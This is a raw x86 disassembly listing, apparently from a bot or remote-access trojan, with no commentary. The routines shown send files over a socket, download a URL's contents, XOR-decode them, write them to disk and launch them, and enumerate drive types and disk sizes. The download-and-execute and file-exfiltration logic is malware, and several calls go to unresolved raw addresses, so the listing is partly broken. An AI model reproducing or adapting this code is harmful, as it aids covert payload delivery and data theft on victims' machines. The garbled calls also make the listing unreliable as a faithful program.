		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CBA24
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA50
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_438118
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB9C8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB954
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CBA4C
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_43803C
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 272077Bh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380F8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2760AB9h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA64
		push	eax
		call	dword_4CBA20
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_4380E0
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CBA0C
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_4380C8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBAB8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_4380A4


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBABC
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA74
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CBA3C
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2660C52h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438078
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBABC


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBABC
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438060
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBABC
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 272077Bh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_4381DC
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 2660C52h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_4381AC
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43818C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA3C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CBA20
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA74
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438060
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBABC
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 26E0000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438160
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBABC


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB9D4
		call	dword_4CB928
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 272077Bh
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4383A8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		call	near ptr 2690E78h
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB930
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 2710000h
		nop
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438380
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438358


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E760
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43832C
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 2690E78h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2660C52h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438304
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_4382CC
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB990
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4382B0
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43826C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DBD8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2670000h
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB97C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_438238
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43820C


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA58
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3648
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA84
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383FC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383F8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB914
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


